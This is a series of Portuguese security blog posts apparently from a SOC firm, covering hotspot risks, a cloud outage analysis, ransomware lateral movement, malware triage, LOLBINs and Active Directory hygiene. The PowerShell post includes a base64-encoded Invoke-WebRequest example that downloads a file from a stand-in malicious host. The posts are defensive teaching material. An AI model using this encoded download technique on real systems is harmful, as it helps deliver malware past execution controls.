Categoria: Processos

Vol. 1 No. 20250717-774 (2025)

Os perigos de utilizar hotspot não autorizados no ambiente corporativo 

João Paulo Gonsales | jgonsales@cylo.com.br | 17/07/2025

Frequentemente analisamos um tipo de alerta preocupante : colaboradores dentro do ambiente corporativo compartilhando a internet móvel não autorizado com um dispositivo empresarial, criando com os seus dispositivos hotspots móveis e não autorizados pela organização. Embora possa parecer uma solução inofensiva ou um “atalho” para a conectividade, esse comportamento abre as portas para uma série de riscos graves que podem comprometer toda a segurança da sua organização.

Quando um hotspot móvel não autorizado é ativado, ele faz um bypass em diversas camadas de segurança da organização, é como se abríssemos uma “porta” não autorizada, favorecendo ameaças como ataques do tipo man-in-the-middle, risco para vazamento de dados ou outras ameaças, como um vírus, malware e até um Ransoware no ambiente.

Sobre os alertas analisados, notamos que durante a ação de compartilhar da conexão, criando um hotspot, o dispositivo conectado na rede recebe a faixa de IP 192.168.137.x, e por ser uma faixa de endereço privada e desconhecida dentro do ambiente , que a princípio gerou algumas dificuldades durante a analise, mas com o apoio da documentação da Microsoft e outros fatores presentes no log, verificamos que este endereço é um range padrão, atribuído pelo Windows e utilizado pelo serviço Compartilhamento de Conexão com a Internet (ICS).  

Conforme definido no learn da Microsoft, o serviço de ICS seria o driver atras de Wi-Fi pessoal que, por padrão, o ICS configura o seu computador (o host do hotspot) com o endereço IP 192.168.137.1 e após atribuir este IP, o serviço age como um servidor DHCP (Dynamic Host Configuration Protocol), atribuindo endereços IP aos dispositivos que se conectam ao hotspot, começando geralmente do 192.168.137.x.

Como mencionado acima, esta faixa de IP é de uma rede privada, designada para uso interno, o que significa que os endereços não são roteáveis diretamente na internet e utilizando a máscara padrão com o endereço 255.255.255.0, disponibilizando um range de 254 endereços IP para dispositivos conectados, tirando endereços de gateway e broadcast. 

Esta faixa de endereço pode ser alterado nas configurações do sistema, mas até o momento deste texto, os alertas analisados continham a faixa “padrão”, com o endereço IP 192.168.137.x. 

Por que esta faixa de IP específica? 

 A escolha da faixa 192.168.137.x foi uma convenção estabelecida pela Microsoft para o funcionamento do ICS, ela evita conflitos com outras redes já documentadas e utilizadas em ambientes domésticos ou corporativos (como as populares 192.168.0.x ou 192.168.1.x), garantindo que o seu hotspot possa operar sem problemas, independentemente da rede à qual seu computador principal está conectado. 

 Conexões rede origem e destino resolvendo DNS pelo 192.168.137.x 

Este tipo de ação no ambiente corporativo se torna muito preocupante, onde no cenário atual de flexibilidade no trabalho, onde o home office e os inúmeros dispositivos moveis pessoais no ambiente , gera preocupações de controle para estes dispositivos que, por um lado, a sua utilização pode ser “desculpa” para aumentar a produtividade, mas por outro lado, o mesmo pode ser utilizado para tentar quebrar os controles de segurança de rede dentro das empresas, e com essa pratica, as vezes inocente por parte de quem está utilizando, compromete os controles de segurança da informação e eleva os riscos significativos para a infraestrutura da empresa. 

Para mitigar e melhorar os controles para estes dispositivos, podemos adotar praticas que vão além do monitoramento, como a definição de políticas claras de PSI, implantando a sua conscientização, treinamento para os colaboradores e adoção de ferramentas de MDM (Gerenciamento de Dispositivos Móveis), onde com este recurso podemos aplicar políticas de segurança para os dispositivos moveis, monitorar e controlar o uso de dispositivos corporativos, incluindo a capacidade de criar hotspots.

 Referências :

Vol. 1 No. 20250619-581 (2025)

Falha Técnica, Não Ciberataque: Análise do Evento Global de 12 de Junho

Adriano Cansian | adriano.cansian@unesp.br | 19/06/2025

Resumo

Em 12 de junho de 2025, por volta das 14h51 (UTC-3), uma falha significativa em serviços baseados no Google Cloud causou indisponibilidade generalizada de plataformas como Spotify, Discord, Snap, Character.ai e até partes da infraestrutura da Cloudflare. A suspeita inicial de que se tratava de um ataque cibernético coordenado está descartada com base em dados técnicos e fontes confiáveis. O incidente, embora com impacto global, não teve relação com atividade maliciosa.

Linha do Tempo do Incidente

  • Início do problema: 12 Jun 2025, 17:51 UTC (14:51 GMT-03 BRT).
  • Atualização final do status: 12 Jun 2025, 22:46 UTC (19:46 GMT-03 BRT).
  • Locais afetados: Regiões Google asia-east1, europe-west4, africa-south1 e dezenas de outras.
  • Serviços impactados: APIs, autenticação, conectividade com backend, serviços de hospedagem.
  • Volume de impacto – relatos simultâneos de inacessibilidade: Spotify 46.000, Google 14.000 e Discord 11.000 (segundo Downdetector).
Fonte: ThousandEyes

Nossa análise

Com base nas evidências disponíveis até o momento, é altamente improvável que tenha ocorrido qualquer incidente relevante de segurança cibernética com impacto global em 12 de junho de 2025.

As interrupções observadas em diversos serviços online parecem ter sido causadas por uma falha técnica na infraestrutura do Google Cloud, e não por ações maliciosas ou por um ataque cibernético.

Não há registros oficiais nem indicadores técnicos que sustentem a hipótese de um ataque cibernético coordenado, apesar da circulação de algumas especulações e teorias da conspiração em redes sociais.

Diagnóstico Técnico

De acordo com Google Cloud Status Dashboard, o incidente envolveu instabilidades de rede e falhas no fornecimento de recursos críticos para workloads, com degradação em múltiplas zonas de disponibilidade. Apesar do escopo, não houve indícios de exploração de vulnerabilidades, DDoS, sequestro de rota BGP ou comportamento anômalo em logs de tráfego. O relatório completo de status do Google Cloud para o evento de 12/6/2025 pode ser visto nesse link confiável: https://status.cloud.google.com/incidents/ow5i3PPK96RduMcb1SsW

A Cloudflare, por sua vez, relatou impactos secundários limitados a serviços que utilizam o Google Cloud como backend. Segundo relatos de engenheiros da comunidade e usuários técnicos no Downdetector, houve menção a “erro de configuração de rede” e dependências indiretas afetando ao menos 19 data centers da Cloudflare.

Avaliação Cibernética

Do ponto de vista de threat intelligence e resposta a incidentes, nenhuma IOC (indicador de comprometimento) conhecida foi associada ao evento. Nenhum CSIRT internacional (como o US-CERT ou o JPCERT/CC) emitiu alertas relacionados, tampouco houve correlação com campanhas ativas de ameaça.

Buscas por “cyber attack”, “internet outage”, “DDoS” ou “APT activity” relacionadas a 12/06/2025 nas redes sociais e em feeds técnicos (como OTX AlienVault e MISP) não retornaram nenhuma correlação válida. Portanto, a hipótese de ataque coordenado por ator estatal ou hacktivismo pode ser tecnicamente descartada neste caso.

Implicações para Resiliência

Embora não tenha envolvido comprometimento, o incidente reforça o risco de falhas sistêmicas em infraestruturas centralizadas. A dependência excessiva de provedores de nuvem (monoculturas tecnológicas) pode gerar efeitos em cascata mesmo sem ações maliciosas.

É recomendável que analistas e arquitetos de segurança revisem:

  • Estratégias de redundância multi-cloud.
  • Monitoramento contínuo de integridade de serviços externos (SLAs e upstreams).
  • Planos de contingência para falhas de serviços de terceiros.

Conclusão

Apesar das suspeitas iniciais, o incidente de 12/06/2025 foi causado por uma falha técnica no Google Cloud e não representa um evento de segurança cibernética. Para times de resposta a incidentes, é mais um lembrete de que a visibilidade sobre a cadeia de dependências tecnológicas é tão crítica quanto a detecção de ataques.

Última atualização: 19/06/2025 às 20:29 GMT-03.

Vol. 1 No. 20250612-636 (2025)

Como o Ransomware se Espalha Dentro da Sua Rede

Pedro Brandt Zanqueta | pedro@cylo.com.br | 12/06/2025

Ajudando em uma resposta a incidente, recentemente tivemos que lidar com um determinado grupo de ransomware que atrapalhou uma empresa por um período. Com isso decidi detalhar como geralmente um ataque ocorre.

Ponto de partida

Imagine uma manhã comum na sua empresa. Os colaboradores chegam e iniciam suas atividades. Tudo parece normal até que, um e-mail aparentemente inofensivo chega à caixa de entrada de um colaborador do setor financeiro. O assunto é: “Nota Fiscal em Atraso – URGENTE”. Sem nem desconfiar, o funcionário clica no anexo.

O anexo executa um script em PowerShell, que baixa e executa um payload malicioso. Em segundos, o atacante já acesso à rede. Mas o objetivo não é apenas comprometer uma máquina é paralisar a empresa inteira. E para isso, o ransomware precisa se espalhar.

Descoberta do ambiente

Antes de se mover, o atacante precisa entender o ambiente. Ele começa com técnicas de reconhecimento interno. Utiliza comandos para descobrir sistemas remotos, identificar conexões de rede, e localizar compartilhamentos acessíveis.

Com essas informações em mãos, o atacante sabe exatamente onde estão os servidores de arquivos, os controladores de domínio e as estações mais críticas.

Movimentação lateral

Para se mover lateralmente, o atacante precisa de credenciais. Com Mimikatz usa para extrair senhas da memória do processo LSASS. Se tiver sorte, encontra credenciais de administradores de domínio. Caso contrário, ele pode recorrer a ataques de força bruta ou password spray para comprometer outras contas.

Usando ferramentas como PsExec ou WMI, o ransomware começa a se espalhar. Ele cópia seus arquivos para máquinas remotas usando compartilhamentos administrativos e executa o payload silenciosamente.

Se encontrar vulnerabilidades conhecidas, como EternalBlue, ele pode explorá-las diretamente, sem depender de credenciais.

Garantindo a Persistência

Para garantir que o ransomware continue ativo mesmo após reinicializações, o atacante cria tarefas agendadas ou serviços maliciosos.

Processo Final

Quando o atacante sente que já comprometeu o suficiente, ele inicia a fase final: a criptografia. Utilizando algoritmos robustos, o ransomware bloqueia arquivos em servidores, estações de trabalho e até backups conectados.

Em minutos, a empresa inteira está paralisada. Um aviso aparece nas telas: “Seus arquivos foram criptografados. Pague em Bitcoin para recuperá-los.”

Melhorias no ambiente

  • Segmentação de rede: impede que o atacante se mova livremente.
  • Monitoramento de credenciais: detecta uso anômalo de contas.
  • Atualizações regulares: fecham portas exploradas por vulnerabilidades.
  • Treinamento de usuários: reduz o risco de phishing.
  • Soluções de segurança avançadas: como EDRs e SIEMs, ajudam a detectar e responder rapidamente.

Conclusão

O ransomware não é apenas um vírus que aparece do nada. Ele é o resultado de uma cadeia de ações cuidadosamente planejadas.

A pergunta não é se sua empresa será alvo, mas quando. E quando isso acontecer, o quão preparado você estará?

Vol. 1 No. 20250502-389 (2025)

Políticas de Endpoint irão salvar seu ambiente!

Hector Carlos Frigo | hector@cylo.com.br | 02/05/2025

Recentemente participei da investigação de um incidente interessante que poderia ter levado a um fim extremamente desastroso. Recebemos diversos alertas que relatavam uma atividade suspeita realizada por um usuário desorientado, ao conectar um dispositivo removível desconhecido em sua estação de trabalho, e em seguida, tentar executar um arquivo suspeito presente no mesmo. A ação foi imediatamente bloqueada devido a política existente na estação e reportada ao nosso time.

Iniciamos nossas investigações, onde a princípio, identificamos, que o arquivo, estava nomeado exatamente como um software legitimo conhecido, e confirmadamente utilizado nas operações do cliente. Como de prática, partindo do princípio de “Nunca confiar, sempre verificar” realizamos uma “primeira” análise no arquivo, coletando sua hash SHA-256 e submetendo-a, a sandboxes online, com objetivo de verificar se essa hash já era conhecida, quais conexões externas são realizadas caso haja, relações com outros executaveis, versionamento, entre outras informações necessárias para a investigação.

Arquivo suspeito se encontrava no dispositivo removivel mapeado no disco D:

A hash submetida apresentou resultados alarmantes, multiplos indicadores classificaram o arquivo suspeito submetido, como TROJAN, apontando diversos comportamentos suspeitos, além do fato de já ter sido submetido as sandboxes anteriormente, com nomes diferentes, tentando se passar por processos legítimos do Windows ou arquivos genéricos nomeados em português.

Resultado da Analise realizada no VirusTotal
Lista de nomes que foram associados a esse arquivo

Após o recebimento destes resultados, realizamos uma análise mais aprofundada neste arquivo em um ambiente isolado e preparado para detectar cada ação realizada pelo software , ao executa-lo, imediatamente identificamos uma série de comportamentos suspeitos bem característicos adotados por malwares, como:

capacidade do software se “autor replicar” e “auto deletar”

Cadeia de execução realizada pelo Malware

Sessões com alta entropia e emprego de pacote UPX para dificultar engenharia reversa

“****_9_400**21.exe” has a section named “UPX0”
“****_9_400**21.exe” has a section named “UPX1”
“****_9_400**21.exe” has section name UPX1 with entropy “7.928493634034875”

Além de realizar conexões com servidores DNS dinâmicos, criação de arquivos no diretório reservado para o sistema operacional, entre outras ações que minimizaram ainda mais as dúvidas de que o software presente nesta mídia removível de fato possuía intenções maliciosas.

Sem dúvidas estávamos lidando com um Malware de alta periculosidade e complexidade, que com certeza teria um grande impacto e causaria grandes danos ao ambiente em que fosse executado, porém graças a adoção de políticas de segurança rígidas de endpoint, anteriormente definidas e empregadas em todo o ambiente da empresa, esse incidente pode ser evitado. Desta maneira gostaria de despertar uma reflexão; qual seria o impacto causado no ambiente, se houvesse a ausência dessas políticas?
Assim como o ciclo de resposta a incidente do NIST nos apresenta, fases como “lições aprendidas” e “preparação” são voltadas justamente para estabelecer regras e estratégias que dificultem as ações tomadas por agentes de ameaça, garantindo um ambiente mais resiliente e robusto.

Vol. 1 No. 20250423-381 (2025)

LOLBIN Windows

Pedro Brandt Zanqueta | pedro@cylo.com.br | 23/04/2025

Nos últimos dias trabalhamos em cima de um incidente relacionado a um executável assinado dentro do sistema operacional Microsoft Windows interagindo com agentes maliciosos, sim é isso mesmo que leu, um aplicativo oficial da Microsoft sendo utilizado como parte de um ataque, essa é a teoria dos LOLBIN (Living Off the Land Binaries).

O ataque trabalhado utilizava do LOLBIN PowerShell.exe para transferir os arquivos e persistência no host. Já passou em nossas mãos por exemplo o serviço BITS (Background Intelligent Transfer Service) ao qual é responsável por gerenciar os pacotes de rede que são solicitados pelo sistema operacional, nesse serviço também é passível de ocorrer a mesma situação.

Fica uma recomendação, acompanhem esse projeto mantido pela comunidade chamado LOLBAS Project. Estão focados em manter uma lista de aplicativos dentro do Microsoft Windows que é comum ser utilizados em ataques, com detalhes sabemos comandos e parâmetros que utilizam para passar por times de segurança e ferramentas despreparadas.

Referências:

https://lolbas-project.github.io

Vol. 1 No. 20250417-366 (2025)

Ataques obfuscados via PowerShell

Pedro Brandt Zanqueta | pedro@cylo.com.br | 17/04/2025

Lidamos recentemente com um incidente onde uma estação realizava semanalmente a execução de um script PowerShell via tarefa agendada. Isso levantou uma dúvida interessante, porque as políticas do próprio PowerShell não bloquearia, a Microsoft desenvolveu a política de execução do PowerShell, recurso de segurança ao qual controla as condições sob as quais o PowerShell carrega arquivos de configuração e executa scripts.

Analisando a cadeia de execuções, identificamos que o comando está em base64, ao que nativamente o PowerShell realiza, com isso consegue dar um bypass nessa etapa de segurança a nível de sistema operacional.

Segue abaixo um exemplo da técnica informada:

$command = “Invoke-WebRequest http[:]//malicious[.]com -OutFile malware[.]exe”

$encodedCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))

powershell -EncodedCommand $encodedCommand

Essa é uma técnica entre muitas que atacantes utilizam, a pergunta que devemos fazer é, suas ferramentas e seu time estão preparados para lidar com ela?

Referências:

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.5

Vol. 1 No. 20250411-252 (2025)

Importância de executar o básico bem-feito

João Paulo Gonsales | jgonsales@cylo.com.br | 11/04/2025

Recentemente participei de um treinamento em Segurança da Informação, ministrado por um experiente pesquisador na área de Cybersecurity, onde diversas reflexões foram levantadas e entre elas, a importância de mensurar os investimentos na área, por onde começar? O que seria mais importante, altos investimentos em ferramental ou investir em processos?

Acredito que para diminuir a superfície de ataque do ambiente, envolve mais do que investir no melhor firewall, ferramentas de endpoint ou um bom SOC. A falta de definição de uma política de segurança da informação, um plano de recuperação de desastre funcional ou uma governança na gestão de identidade (Acessos), aumentaria muito a superfície de ataque.

Inverter a ordem no seu planejamento, seria eficaz? Talvez, depende, mas baseado nos históricos de taticas utilizadas e exploradas por atacantes no ambiente, vulnerabilidades não somente estão relacionadas a patch de segurança ou investimento em ferramental, mas também, se aplica, a inexistência das políticas e processos bem definidos e novamente, que implementadas, diminuiria a superfície de ataque a ser explorada.

Essa reflexão originada pelo treinamento, me fez lembrar de uma frase que escutei a alguns anos de um prestador de serviços de tecnologia, “Fazemos o básico bem-feito”. A fala no momento não fez muito sentido, não era o que eu estava buscando no momento, mas hoje vejo que faz muito sentido, principalmente na área de Segurança da Informação.

Fazendo uma analogia com a frase “fazer o básico bem-feito”, com a inexistência dos processos citados acima, como iremos garantir uma boa implantação do ferramental. Acredito que faria sentido complementar a frase mencionada acima para “Fazer o básico bem-feito protege melhor que fazer um avançado mal configurado”.

Um bom exemplo de “fazer o básico”, poderíamos citar o processo de gestão de acesso , por exemplo, uma sanitização recorrente do serviço de Active Directory, onde a falta de gestão em itens como, contas de computador obsoletas , contas de usuário expiradas, contas de ex-funcionários ainda ativas, excesso de contas administrativas, permissões herdadas sem lógica, falta de políticas para correções de segurança do produto , aumentaria a superfície de ataque e o risco de segurança no ambiente.

Para iniciar esse processo de gestão de acesso no serviço de Active Directory, conseguimos bons resultados com a utilização de ferramentas nativas do sistema operacional, como por exemplo o Powershell e implementação de processos bem definidos na sua gestão.

Isso seria somente alguns pontos que se aplicarmos na rotina de gestão diariamente, conseguíramos mitigar diversos riscos no ambiente e a sua não implementação, prejudica diretamente a eficácia da gestão de acesos e compromete tanto a segurança quanto a governança da TI.

Podemos citar alguns ganhos com a realização da sanitização recorrente do AD, como :

– Redução de riscos de segurança – Contas abandonadas são portas abertas para ataques. Removê-las periodicamente reduz a superfície de ataque.

– Melhoria na governança e conformidade – Facilita auditorias e garante que apenas contas ativas e justificadas existam no ambiente.

– Eficiência operacional – Um AD mais enxuto melhora a performance, reduz a carga administrativa e evita erros em permissões e acessos.

– Monitoramento contínuo e ações preventivas – Rotinas de verificação ou a implementação de Dashboards , permitiriam identificar padrões de inatividade e agir proativamente.

 Seguir os processos bem definidos , usando o exemplo da utilização de scritps e ferramentas nativas, poderiamos definir que : scritps poweshell + recorrência(processos) = diminuição da superfície de ataque, segurança contínua e uma governança mais eficiente do ambiente.

 Esse é somente um exemplo claro do que chamamos de “básico bem-feito” na prática, onde com poucos recursos financeiros , a gestão de acesso se torna eficiente, sem a utilização de ferramentas caras, onde fazer o básico bem feito faz a diferença e melhora a postura de segurança, alinhando muitos ganhos na segurança e conformidade.

Deixo essa reflexão, que são situações rotineiras e de muita importância do analista, definir processos, seguir processos e fazer o básico bem-feito garante uma mudança positiva no ambiente.